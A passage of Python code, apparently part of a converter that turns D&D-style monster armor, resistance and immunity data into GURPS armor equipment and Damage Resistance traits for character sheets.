\"extended_weight\": \"25 lb\"},\n }\n heavyPlateArms = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Heavy Plate Arms\",\n \"reference\": \"B283\",\n \"tech_level\": \"3\",\n \"legality_class\": \"3\",\n \"tags\": [\"Limb Armor\"],\n \"quantity\": 1,\n \"value\": 1500,\n \"weight\": \"20 lb\",\n \"features\": [{\"type\": \"dr_bonus\", \"location\": \"arm\", \"amount\": 7}],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 1500, \"extended_weight\": \"20 lb\"},\n }\n heavySteelCorselet = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Heavy Steel Corselet\",\n \"reference\": \"B283\",\n \"tech_level\": \"3\",\n \"legality_class\": \"3\",\n \"tags\": [\"Body Armor\"],\n \"quantity\": 1,\n \"value\": 2300,\n \"weight\": \"45 lb\",\n \"features\": [\n {\"type\": \"dr_bonus\", \"location\": \"torso\", \"amount\": 7},\n {\"type\": \"dr_bonus\", \"location\": \"vitals\", \"amount\": 7},\n {\"type\": \"dr_bonus\", \"location\": \"groin\", \"amount\": 7},\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 2300, \"extended_weight\": \"45 lb\"},\n }\n heavyGauntlets = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Heavy Gauntlets\",\n \"reference\": \"B284\",\n \"tech_level\": \"3\",\n \"legality_class\": \"3\",\n \"tags\": [\"Gloves\"],\n \"quantity\": 1,\n \"value\": 250,\n \"weight\": \"2.5 lb\",\n \"features\": [{\"type\": \"dr_bonus\", \"location\": \"hand\", \"amount\": 5}],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 250, \"extended_weight\": \"2.5 lb\"},\n }\n sollerets = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Sollerets\",\n \"reference\": \"B284\",\n \"tech_level\": \"3\",\n \"legality_class\": \"3\",\n \"tags\": [\"Footwear\"],\n \"quantity\": 1,\n \"value\": 150,\n \"weight\": \"7 lb\",\n \"features\": [\n {\"type\": \"dr_bonus\", \"location\": \"foot\", \"amount\": 4},\n {\n \"type\": \"weapon_bonus\",\n \"selection_type\": \"weapons_with_name\",\n \"specialization\": {\"compare\": \"is\", \"qualifier\": \"Kick\"},\n \"amount\": 1,\n },\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 150, \"extended_weight\": \"7 lb\"},\n }\n scaleArmor = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Scale Armor\",\n \"reference\": \"B283\",\n \"tech_level\": \"2\",\n \"tags\": [\"Body Armor\"],\n \"quantity\": 1,\n \"value\": 420,\n \"weight\": \"35 lb\",\n \"features\": [\n {\"type\": \"dr_bonus\", \"location\": \"torso\", \"amount\": 4},\n {\"type\": \"dr_bonus\", \"location\": \"vitals\", \"amount\": 4},\n {\"type\": \"dr_bonus\", \"location\": \"groin\", \"amount\": 4},\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 420, \"extended_weight\": \"35 lb\"},\n }\n scaleLeggings = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Scale Leggings\",\n \"reference\": \"B283\",\n \"tech_level\": \"2\",\n \"legality_class\": \"3\",\n \"tags\": [\"Limb Armor\"],\n \"quantity\": 1,\n \"value\": 250,\n \"weight\": \"21 lb\",\n \"features\": [{\"type\": \"dr_bonus\", \"location\": \"leg\", \"amount\": 4}],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 250, \"extended_weight\": \"21 lb\"},\n }\n scaleSleeves = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Scale Sleeves\",\n \"reference\": \"B283\",\n \"tech_level\": \"2\",\n \"legality_class\": \"3\",\n \"tags\": [\"Limb Armor\"],\n \"quantity\": 1,\n \"value\": 210,\n \"weight\": \"14 lb\",\n \"features\": [{\"type\": \"dr_bonus\", \"location\": \"arm\", \"amount\": 4}],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 210, \"extended_weight\": \"14 lb\"},\n }\n barrelHelm = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Barrel Helm\",\n \"reference\": \"B284\",\n \"notes\": \"No peripheral vision\",\n \"tech_level\": \"3\",\n \"legality_class\": \"3\",\n \"tags\": [\"Headgear\"],\n \"quantity\": 1,\n \"value\": 240,\n \"weight\": \"10 lb\",\n \"features\": [\n {\"type\": \"dr_bonus\", \"location\": \"skull\", \"amount\": 6},\n {\"type\": \"dr_bonus\", \"location\": \"face\", \"amount\": 6},\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 240, \"extended_weight\": \"10 lb\"},\n }\n buffCoat = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Buff Coat (Leather)\",\n \"reference\": \"B283\",\n \"notes\": \"Flexible\",\n \"tech_level\": \"4\",\n \"tags\": [\"Body Armor\"],\n \"quantity\": 1,\n \"value\": 210,\n \"weight\": \"16 lb\",\n \"features\": [\n {\"type\": \"dr_bonus\", \"location\": \"torso\", \"amount\": 2},\n {\"type\": \"dr_bonus\", \"location\": \"vitals\", \"amount\": 2},\n {\"type\": \"dr_bonus\", \"location\": \"arm\", \"amount\": 2},\n {\"type\": \"dr_bonus\", \"location\": \"leg\", \"amount\": 2},\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 210, \"extended_weight\": \"16 lb\"},\n }\n clothArmor = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Cloth Armor\",\n \"reference\": \"B283\",\n \"notes\": \"Flexible, concealable\",\n \"tech_level\": \"1\",\n \"tags\": [\"Body Armor\"],\n \"quantity\": 1,\n \"value\": 30,\n \"weight\": \"6 lb\",\n \"features\": [\n {\"type\": \"dr_bonus\", \"location\": \"groin\", \"amount\": 1},\n {\"type\": \"dr_bonus\", \"location\": \"torso\", \"amount\": 1},\n {\"type\": \"dr_bonus\", \"location\": \"vitals\", \"amount\": 1},\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 30, \"extended_weight\": \"6 lb\"},\n }\n clothGloves = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Cloth Gloves\",\n \"reference\": \"B284\",\n \"notes\": \"Flexible, concealable\",\n \"tech_level\": \"1\",\n \"tags\": [\"Gloves\"],\n \"quantity\": 1,\n \"value\": 15,\n \"features\": [{\"type\": \"dr_bonus\", \"location\": \"hand\", \"amount\": 1}],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 15, \"extended_weight\": \"0 lb\"},\n }\n clothCap = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Cloth Cap\",\n \"reference\": \"B284\",\n \"notes\": \"Flexible, concealable\",\n \"tech_level\": \"1\",\n \"tags\": [\"Headgear\"],\n \"quantity\": 1,\n \"value\": 5,\n \"features\": [{\"type\": \"dr_bonus\", \"location\": \"skull\", \"amount\": 1}],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 5, \"extended_weight\": \"0 lb\"},\n }\n clothSleeves = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Cloth Sleeves\",\n \"reference\": \"B283\",\n \"notes\": \"Flexible, concealable\",\n \"tech_level\": \"1\",\n \"tags\": [\"Limb Armor\"],\n \"quantity\": 1,\n \"value\": 20,\n \"weight\": \"2 lb\",\n \"features\": [{\"type\": \"dr_bonus\", \"location\": \"arm\", \"amount\": 1}],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 20, \"extended_weight\": \"2 lb\"},\n }\n furLoincloth = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Fur Loincloth\",\n \"reference\": \"B283\",\n \"notes\": \"Flexible, concealable\",\n \"tech_level\": \"0\",\n \"tags\": [\"Body Armor\"],\n \"quantity\": 1,\n \"value\": 10,\n \"features\": [{\"type\": \"dr_bonus\", \"location\": \"groin\", \"amount\": 1}],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 10, \"extended_weight\": \"0 lb\"},\n }\n furTunic = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Fur Tunic\",\n \"reference\": \"B283\",\n \"notes\": \"Flexible, concealable\",\n \"tech_level\": \"0\",\n \"tags\": [\"Body Armor\"],\n \"quantity\": 1,\n \"value\": 25,\n \"weight\": \"2 lb\",\n \"features\": [\n {\"type\": \"dr_bonus\", \"location\": \"torso\", \"amount\": 1},\n {\"type\": \"dr_bonus\", \"location\": \"vitals\", \"amount\": 1},\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 25, \"extended_weight\": \"2 lb\"},\n }\n boots = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Boots\",\n \"reference\": \"B284\",\n \"notes\": \"Flexible; Concealable\",\n \"tech_level\": \"2\",\n \"tags\": [\"Footwear\"],\n \"quantity\": 1,\n \"value\": 80,\n \"weight\": \"3 lb\",\n \"features\": [\n {\"type\": \"dr_bonus\", \"location\": \"foot\", \"amount\": 2},\n {\n \"type\": \"weapon_bonus\",\n \"selection_type\": \"weapons_with_name\",\n \"specialization\": {\"compare\": \"is\", \"qualifier\": \"Kick\"},\n \"amount\": 1,\n },\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 80, \"extended_weight\": \"3 lb\"},\n }\n reinforcedBoots = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Reinforced Boots\",\n \"reference\": \"B284\",\n \"tech_level\": \"7\",\n \"tags\": [\"Footwear\"],\n \"quantity\": 1,\n \"value\": 75,\n \"weight\": \"3 lb\",\n \"features\": [\n {\"type\": \"dr_bonus\", \"location\": \"foot\", \"amount\": 2},\n {\n \"type\": \"weapon_bonus\",\n \"selection_type\": \"weapons_with_name\",\n \"specialization\": {\"compare\": \"is\", \"qualifier\": \"Kick\"},\n \"amount\": 1,\n },\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 75, \"extended_weight\": \"3 lb\"},\n }\n mediumShield = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Medium Shield\",\n \"reference\": \"B287\",\n \"tech_level\": \"1\",\n \"tags\": [\"Shield\"],\n \"quantity\": 1,\n \"value\": 60,\n \"weight\": \"15 lb\",\n \"weapons\": [\n {\n \"id\": str(uuid.uuid4()),\n \"type\": \"melee_weapon\",\n \"damage\": {\"type\": \"cr\", \"st\": \"thr\"},\n \"strength\": \"0\",\n \"usage\": \"Shield Bash\",\n \"reach\": \"1\",\n \"parry\": \"No\",\n \"block\": \"+0\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Shield\", \"specialization\": \"Buckler\"},\n {\n \"type\": \"skill\",\n \"name\": \"Shield\",\n \"specialization\": \"Force Shield\",\n },\n {\"type\": \"skill\", \"name\": \"Shield\", \"specialization\": \"Shield\"},\n ],\n \"calc\": {\"level\": 7, \"parry\": \"No\", \"block\": \"8\", \"damage\": \"1d-2 cr\"},\n }\n ],\n \"features\": [\n {\"type\": \"attribute_bonus\", \"attribute\": \"dodge\", \"amount\": 2},\n {\"type\": \"attribute_bonus\", \"attribute\": \"parry\", \"amount\": 2},\n {\"type\": \"attribute_bonus\", \"attribute\": \"block\", \"amount\": 2},\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 60, \"extended_weight\": \"15 lb\"},\n }\n # endregion\n\n for item in input_data[\"ac\"]:\n # Nothing\n if type(item) is str or type(item) is int:\n continue\n # Natural Armor\n if (\"from\" in item and \"natural armor\" in item[\"from\"]) and (item[\"ac\"] > 11):\n levelFromAC = int(item[\"ac\"]) - 11\n # region Damage Resistance\n damageResistance = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"trait\",\n \"name\": \"Damage Resistance\",\n \"reference\": \"B47,P45,MA43,PSI14\",\n \"tags\": [\"Advantage\", \"Exotic\", \"Physical\"],\n \"modifiers\": [\n {\n \"id\": \"71e0ea7a-bb0e-409d-b01d-aa247b4e66f6\",\n \"type\": \"modifier\",\n \"name\": \"Force Field\",\n \"reference\": \"B47\",\n \"cost\": 20,\n \"disabled\": True,\n },\n {\n \"id\": \"a5e89aca-0b61-483e-8ae3-d6086856cf9a\",\n \"type\": \"modifier\",\n \"name\": \"Hardened\",\n \"reference\": \"B47\",\n \"cost\": 20,\n \"levels\": 1,\n \"disabled\": True,\n },\n {\n \"id\": \"0377b71f-5bfe-44a7-b1a0-db38c7952845\",\n \"type\": \"modifier\",\n \"name\": \"Absorption\",\n \"reference\": \"B46\",\n \"notes\": \"Enhances @Trait@\",\n \"cost\": 80,\n \"disabled\": True,\n },\n {\n \"id\": \"db27da09-5815-4776-9af9-6d9741d8e52a\",\n \"type\": \"modifier\",\n \"name\": \"Absorption\",\n \"reference\": \"B46\",\n \"notes\": \"Healing only\",\n \"cost\": 80,\n \"disabled\": True,\n },\n {\n \"id\": \"0e4c391b-1076-40f2-92b6-c5d3c60b78fd\",\n \"type\": \"modifier\",\n \"name\": \"Absorption\",\n \"reference\": \"B46\",\n \"notes\": \"Enhances any trait\",\n \"cost\": 100,\n \"disabled\": True,\n },\n {\n \"id\": \"8b422514-296a-4b7c-b350-6b7e7d2be0e9\",\n \"type\": \"modifier\",\n \"name\": \"Reflection\",\n \"reference\": \"B47\",\n \"cost\": 100,\n \"disabled\": True,\n },\n {\n \"id\": \"419ab96d-ea87-4894-b6d8-a6ee32a5d416\",\n \"type\": \"modifier\",\n \"name\": \"Bane\",\n \"reference\": \"H14\",\n \"notes\": \"@Rare@\",\n \"cost\": -1,\n \"cost_type\": \"points\",\n \"disabled\": True,\n },\n {\n \"id\": \"a8c6d43d-430e-4773-a64c-200f75009e65\",\n \"type\": \"modifier\",\n \"name\": \"Bane\",\n \"reference\": \"H14\",\n \"notes\": \"@Occasional@\",\n \"cost\": -5,\n \"disabled\": True,\n },\n {\n \"id\": \"e9503abd-7621-42c4-8ced-3981ec7c6d9a\",\n \"type\": \"modifier\",\n \"name\": \"Bane\",\n \"reference\": \"H14\",\n \"notes\": \"@Common@\",\n \"cost\": -10,\n \"disabled\": True,\n },\n {\n \"id\": \"1585a884-94e2-4152-b7b7-d3b6cc253c58\",\n \"type\": \"modifier\",\n \"name\": \"Bane\",\n \"reference\": \"H14\",\n \"notes\": \"@Very Common@\",\n \"cost\": -15,\n \"disabled\": True,\n },\n {\n \"id\": \"131c5627-2f5a-4f3f-8a52-08417003bc95\",\n \"type\": \"modifier\",\n \"name\": \"Directional\",\n \"reference\": \"B47\",\n \"notes\": \"Front\",\n \"cost\": -20,\n \"disabled\": True,\n },\n {\n \"id\": \"132e7d43-7920-45f5-bcde-036029aa49f2\",\n \"type\": \"modifier\",\n \"name\": \"Flexible\",\n \"reference\": \"B47\",\n \"cost\": -20,\n \"disabled\": True,\n },\n {\n \"id\": \"d9e01c00-3ac2-4f4d-ae5f-45b34441df13\",\n \"type\": \"modifier\",\n \"name\": \"Limited\",\n \"reference\": \"B46\",\n \"notes\": \"@Very Common Attack Form@\",\n \"cost\": -20,\n \"disabled\": True,\n },\n {\n \"id\": \"72f08aac-bc4a-43fe-875b-8747b7397bec\",\n \"type\": \"modifier\",\n \"name\": \"Semi-Ablative\",\n \"reference\": \"B47\",\n \"cost\": -20,\n \"disabled\": True,\n },\n {\n \"id\": \"13410164-cee1-4956-832c-47bcf41fdab8\",\n \"type\": \"modifier\",\n \"name\": \"Can't wear armor\",\n \"reference\": \"B47\",\n \"cost\": -40,\n \"disabled\": True,\n },\n {\n \"id\": \"9ad2a005-947f-4ef9-ba99-ed88a4adaa49\",\n \"type\": \"modifier\",\n \"name\": \"Directional\",\n \"reference\": \"B47\",\n \"notes\": \"@Direction: Back, Right, Left, Top or Underside@\",\n \"cost\": -40,\n \"disabled\": True,\n },\n {\n \"id\": \"34ffce90-cba0-4d1a-a8ce-b3e6b12a51e3\",\n \"type\": \"modifier\",\n \"name\": \"Limited\",\n \"reference\": \"B46\",\n \"notes\": \"@Common Attack Form@\",\n \"cost\": -40,\n \"disabled\": True,\n },\n {\n \"id\": \"10940926-bf24-4984-a984-d974384f0874\",\n \"type\": \"modifier\",\n \"name\": \"Tough Skin\",\n \"notes\": \"Effects that just require skin contact or a scratch ignore this DR\",\n \"cost\": -40,\n \"disabled\": True,\n },\n {\n \"id\": \"db046fce-bac2-4fae-98d4-ee66925c0e9e\",\n \"type\": \"modifier\",\n \"name\": \"Limited\",\n \"reference\": \"B46\",\n \"notes\": \"@Occasional Attack Form@\",\n \"cost\": -60,\n \"disabled\": True,\n },\n {\n \"id\": \"b112e7ab-adac-40ef-a544-598ae0f7436f\",\n \"type\": \"modifier\",\n \"name\": \"Ablative\",\n \"reference\": \"B47\",\n \"cost\": -80,\n \"disabled\": True,\n },\n {\n \"id\": \"3b761122-5da1-46dd-992c-2f9df40890cb\",\n \"type\": \"modifier\",\n \"name\": \"Limited\",\n \"reference\": \"B46\",\n \"notes\": \"@Rare Attack Form@\",\n \"cost\": -80,\n \"disabled\": True,\n },\n {\n \"id\": \"0ed89045-94df-4ab0-ac26-53103a2ad43f\",\n \"type\": \"modifier\",\n \"name\": \"Laminate\",\n \"reference\": \"RSWL18\",\n \"cost\": 10,\n \"disabled\": True,\n },\n {\n \"id\": \"a1baddab-14e3-402e-a209-1eee48ba98ec\",\n \"type\": \"modifier\",\n \"name\": \"Malediction-Proof\",\n \"reference\": \"PSI14\",\n \"cost\": 50,\n \"disabled\": True,\n },\n {\n \"id\": \"b1b407f3-24ca-4beb-8f3a-d362891e5af9\",\n \"type\": \"modifier\",\n \"name\": \"Maledictions Only\",\n \"reference\": \"PSI14\",\n \"disabled\": True,\n },\n {\n \"id\": \"a48b115e-bf63-41f8-84cd-3b6d1e41653e\",\n \"type\": \"modifier\",\n \"name\": \"Partial (@Location, 1 level per -1 Per Hit Modifier, Torso is -10% thus level 1@)\",\n \"reference\": \"B47\",\n \"cost\": -10,\n \"disabled\": True,\n },\n ],\n \"levels\": levelFromAC,\n \"points_per_level\": 5,\n \"features\": [\n {\n \"type\": \"dr_bonus\",\n \"location\": \"skull\",\n \"amount\": 1,\n \"per_level\": True,\n },\n {\n \"type\": \"dr_bonus\",\n \"location\": \"face\",\n \"amount\": 1,\n \"per_level\": True,\n },\n {\n \"type\": \"dr_bonus\",\n \"location\": \"neck\",\n \"amount\": 1,\n \"per_level\": True,\n },\n {\n \"type\": \"dr_bonus\",\n \"location\": \"torso\",\n \"amount\": 1,\n \"per_level\": True,\n },\n {\n \"type\": \"dr_bonus\",\n \"location\": \"vitals\",\n \"amount\": 1,\n \"per_level\": True,\n },\n {\n \"type\": \"dr_bonus\",\n \"location\": \"groin\",\n \"amount\": 1,\n \"per_level\": True,\n },\n {\n \"type\": \"dr_bonus\",\n \"location\": \"arm\",\n \"amount\": 1,\n \"per_level\": True,\n },\n {\n \"type\": \"dr_bonus\",\n \"location\": \"hand\",\n \"amount\": 1,\n \"per_level\": True,\n },\n {\n \"type\": \"dr_bonus\",\n \"location\": \"leg\",\n \"amount\": 1,\n \"per_level\": True,\n },\n {\n \"type\": \"dr_bonus\",\n \"location\": \"foot\",\n \"amount\": 1,\n \"per_level\": True,\n },\n {\n \"type\": \"dr_bonus\",\n \"location\": \"tail\",\n \"amount\": 1,\n \"per_level\": True,\n },\n {\n \"type\": \"dr_bonus\",\n \"location\": \"wing\",\n \"amount\": 1,\n \"per_level\": True,\n },\n {\n \"type\": \"dr_bonus\",\n \"location\": \"fin\",\n \"amount\": 1,\n \"per_level\": True,\n },\n {\n \"type\": \"dr_bonus\",\n \"location\": \"brain\",\n \"amount\": 1,\n \"per_level\": True,\n },\n ],\n \"can_level\": True,\n \"calc\": {\"points\": 5},\n }\n # endregion\n default_data[\"traits\"].append(damageResistance)\n\n # Unarmored Defense adds Enhanced Dodge\n if (\"from\" in item and \"unarmored\" in item[\"from\"]) and (item[\"ac\"] > 11):\n levelFromAC = item[\"ac\"] - 11\n # region Unarmored Defense\n unarmoredDefense = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"trait\",\n \"name\": \"Enhanced Dodge\",\n \"reference\": \"B51,MA43\",\n \"tags\": [\"Advantage\", \"Mental\"],\n \"levels\": levelFromAC,\n \"points_per_level\": 15,\n \"features\": [\n {\n \"type\": \"attribute_bonus\",\n \"attribute\": \"dodge\",\n \"amount\": 1,\n \"per_level\": True,\n }\n ],\n \"can_level\": True,\n \"calc\": {\"points\": 15},\n }\n # endregion\n default_data[\"traits\"].append(unarmoredDefense)\n\n # Leather / Leather Armor -> Leather Armor, Leather Pants, Heavy Leather Sleeves, Leather Helm, Boots\n elif \"from\" in item:\n for s in item[\"from\"]:\n if \"leather\" in s and \"studded\" not in s:\n default_data[\"equipment\"].append(leatherArmor)\n default_data[\"equipment\"].append(leatherPants)\n default_data[\"equipment\"].append(heavyLeatherSleeves)\n default_data[\"equipment\"].append(leatherCap)\n default_data[\"equipment\"].append(boots)\n\n # Studded Leather / Studded Leather Armor -> Leather Armor, Heavy Leather Leggings, Heavy Leather Sleeves, Leather Helm, Studded Leather Skirts, Reinforced Boots, Leather Gloves\n if \"from\" in item:\n for s in item[\"from\"]:\n if \"studded leather\" in s:\n default_data[\"equipment\"].append(leatherArmor)\n default_data[\"equipment\"].append(heavyLeatherLeggings)\n default_data[\"equipment\"].append(heavyLeatherSleeves)\n default_data[\"equipment\"].append(leatherHelm)\n default_data[\"equipment\"].append(studdedLeatherSkirts)\n default_data[\"equipment\"].append(reinforcedBoots)\n default_data[\"equipment\"].append(leatherGloves)\n\n # Hide Armor / Hide -> Fur Tunic, Fur Loincloth, Leather Armor, Leather Pants, Leather Helm, Reinforced Boots, Leather Gloves, Heavy Leather Sleeves, Heavy Leather Leggings\n if \"from\" in item:\n for s in item[\"from\"]:\n if \"hide\" in s:\n default_data[\"equipment\"].append(furTunic)\n default_data[\"equipment\"].append(furLoincloth)\n default_data[\"equipment\"].append(leatherArmor)\n default_data[\"equipment\"].append(leatherPants)\n default_data[\"equipment\"].append(leatherHelm)\n default_data[\"equipment\"].append(reinforcedBoots)\n default_data[\"equipment\"].append(leatherGloves)\n default_data[\"equipment\"].append(heavyLeatherSleeves)\n default_data[\"equipment\"].append(heavyLeatherLeggings)\n\n # Padded -> Buff Coat, Leather Pants, Heavy Leather Sleeves, Leather Helm, Reinforced Boots, Leather Gloves\n if \"from\" in item:\n for s in item[\"from\"]:\n if \"padded\" in s:\n default_data[\"equipment\"].append(buffCoat)\n default_data[\"equipment\"].append(leatherPants)\n default_data[\"equipment\"].append(heavyLeatherSleeves)\n default_data[\"equipment\"].append(leatherHelm)\n default_data[\"equipment\"].append(reinforcedBoots)\n default_data[\"equipment\"].append(leatherGloves)\n\n # Shield -> Medium Shield\n if \"from\" in item:\n for s in item[\"from\"]:\n if \"shield\" in s:\n default_data[\"equipment\"].append(mediumShield)\n\n # Scale Mail / Scale Mail Armor -> Scale Armor, Scale Leggings, Scale Sleeves, Pot Helm, Buff Coat, Leather Gloves, Reinforced Boots\n if \"from\" in item:\n for s in item[\"from\"]:\n if \"scale\" in s:\n default_data[\"equipment\"].append(scaleArmor)\n default_data[\"equipment\"].append(scaleLeggings)\n default_data[\"equipment\"].append(scaleSleeves)\n default_data[\"equipment\"].append(steelPot)\n default_data[\"equipment\"].append(buffCoat)\n default_data[\"equipment\"].append(leatherGloves)\n default_data[\"equipment\"].append(reinforcedBoots)\n\n # Chain Shirt / Chain Mail -> Mail Coif, Mail Shirt, Mail Leggings, Mail Sleeves, Pot Helm, Buff Coat, Leather Gloves, Reinforced Boots\n if \"from\" in item:\n for s in item[\"from\"]:\n if \"chain\" in s:\n default_data[\"equipment\"].append(mailCoif)\n default_data[\"equipment\"].append(mailShirt)\n default_data[\"equipment\"].append(mailLeggings)\n default_data[\"equipment\"].append(mailSleeves)\n default_data[\"equipment\"].append(steelPot)\n default_data[\"equipment\"].append(buffCoat)\n default_data[\"equipment\"].append(leatherGloves)\n default_data[\"equipment\"].append(reinforcedBoots)\n\n # Breastplate / Breastplate Armor -> Breastplate, Mail Leggings, Mail Sleeves, Pot Helm, Buff Coat, Leather Gloves, Reinforced Boots\n if \"from\" in item:\n for s in item[\"from\"]:\n if \"breastplate\" in s:\n default_data[\"equipment\"].append(steelBreastPlate)\n default_data[\"equipment\"].append(mailLeggings)\n default_data[\"equipment\"].append(mailSleeves)\n default_data[\"equipment\"].append(steelPot)\n default_data[\"equipment\"].append(buffCoat)\n default_data[\"equipment\"].append(leatherGloves)\n default_data[\"equipment\"].append(reinforcedBoots)\n print(\"Test\")\n\n # Half Plate Armor / Half Plate -> Steel Corselet, Mail Sleeves, Pot Helm, Mail Coif, Buff Coat, Gauntlets, Mail Leggings, Sollerets\n if \"from\" in item:\n for s in item[\"from\"]:\n if \"half plate\" in s:\n default_data[\"equipment\"].append(steelCorselet)\n default_data[\"equipment\"].append(mailSleeves)\n default_data[\"equipment\"].append(steelPot)\n default_data[\"equipment\"].append(mailCoif)\n default_data[\"equipment\"].append(buffCoat)\n default_data[\"equipment\"].append(gauntlets)\n default_data[\"equipment\"].append(mailLeggings)\n default_data[\"equipment\"].append(sollerets)\n\n # Splint Armor / Splint Mail / SplintMail -> Steel Corselet, Plate Arms, Plate Legs, Sollerets, Gauntlets, Mail Hauberk, Buff Coat, Barrel Helm\n if \"from\" in item:\n for s in item[\"from\"]:\n if \"splint\" in s:\n default_data[\"equipment\"].append(steelCorselet)\n default_data[\"equipment\"].append(plateArms)\n default_data[\"equipment\"].append(plateLegs)\n default_data[\"equipment\"].append(sollerets)\n default_data[\"equipment\"].append(gauntlets)\n default_data[\"equipment\"].append(mailHauberk)\n default_data[\"equipment\"].append(buffCoat)\n default_data[\"equipment\"].append(barrelHelm)\n\n # Plate Mail / Plate Mail Armor / Plate / Plate Armor -> Heavy Steel Corselet, Heavy Plate Arms, Heavy Plate Legs, Sollerets, Heavy Gauntlets, Mail Hauberk, Buff Coat, Mail Leggings, Mail Sleeves, Great Helm\n if \"from\" in item:\n for s in item[\"from\"]:\n if \"plate\" in s:\n default_data[\"equipment\"].append(heavySteelCorselet)\n default_data[\"equipment\"].append(heavyPlateArms)\n default_data[\"equipment\"].append(heavyPlateLegs)\n default_data[\"equipment\"].append(sollerets)\n default_data[\"equipment\"].append(heavyGauntlets)\n default_data[\"equipment\"].append(mailHauberk)\n default_data[\"equipment\"].append(buffCoat)\n default_data[\"equipment\"].append(mailLeggings)\n default_data[\"equipment\"].append(mailSleeves)\n default_data[\"equipment\"].append(greatHelm)\n\n # Add resistances\n if \"resist\" in input_data:\n for res in input_data[\"resist\"]:\n limDamageResistance = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"trait\",\n \"name\": \"Damage Resistance (0.5x)\",\n \"notes\": \"Limited (Fire)\",\n \"userdesc\": \"Half All Damage That Passed DR\",\n \"base_points\": 20,\n \"calc\": {\"points\": 20},\n }\n # cold\n if \"cold\" in res:\n limDamageResistance[\"notes\"] = \"Limited (Cold)\"\n default_data[\"traits\"].append(limDamageResistance)\n # fire\n elif \"fire\" in res:\n limDamageResistance[\"notes\"] = \"Limited (Fire)\"\n default_data[\"traits\"].append(limDamageResistance)\n # poison\n elif \"poison\" in res:\n limDamageResistance[\"notes\"] = \"Limited (Poison)\"\n default_data[\"traits\"].append(limDamageResistance)\n # acid\n elif \"acid\" in res:\n limDamageResistance[\"notes\"] = \"Limited (Acid)\"\n default_data[\"traits\"].append(limDamageResistance)\n # lightning\n elif \"lightning\" in res:\n limDamageResistance[\"notes\"] = \"Limited (Lightning)\"\n default_data[\"traits\"].append(limDamageResistance)\n # necrotic\n elif \"necrotic\" in res:\n limDamageResistance[\"notes\"] = \"Limited (Necrotic)\"\n default_data[\"traits\"].append(limDamageResistance)\n # radiant\n elif \"radiant\" in res:\n limDamageResistance[\"notes\"] = \"Limited (Radiant)\"\n default_data[\"traits\"].append(limDamageResistance)\n # thunder\n elif \"thunder\" in res:\n limDamageResistance[\"notes\"] = \"Limited (Thunder)\"\n default_data[\"traits\"].append(limDamageResistance)\n # force\n elif \"force\" in res:\n limDamageResistance[\"notes\"] = \"Limited (Force)\"\n default_data[\"traits\"].append(limDamageResistance)\n # psychic\n elif \"psychic\" in res:\n limDamageResistance[\"notes\"] = \"Limited (Psychic)\"\n default_data[\"traits\"].append(limDamageResistance)\n # bludgeoning\n elif \"bludgeoning\" in res:\n limDamageResistance[\"notes\"] = \"Limited (Crushing)\"\n default_data[\"traits\"].append(limDamageResistance)\n # piercing\n elif \"piercing\" in res:\n limDamageResistance[\"notes\"] = \"Limited (Impaling and Piercing)\"\n default_data[\"traits\"].append(limDamageResistance)\n # slashing\n elif \"slashing\" in res:\n limDamageResistance[\"notes\"] = \"Limited (Cutting)\"\n default_data[\"traits\"].append(limDamageResistance)\n # bludgeoning, piercing, and slashing\n elif isinstance(res, dict) and \"resist\" in res:\n # Check if the value of 'resist' is a list that contains \"bludgeoning\", \"piercing\", \"slashing\"\n if set([\"bludgeoning\", \"piercing\", \"slashing\"]).issubset(res[\"resist\"]):\n limDamageResistance[\n \"notes\"\n ] = \"Limited (Crushing, Impaling, Piercing, and Cutting From Nonmagical Weapons)\"\n default_data[\"traits\"].append(limDamageResistance)\n\n # add immunities\n if \"immune\" in input_data:\n for imm in input_data[\"immune\"]:\n immunity = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"trait\",\n \"name\": \"Damage Immunity\",\n \"notes\": \"Limited (Fire)\",\n 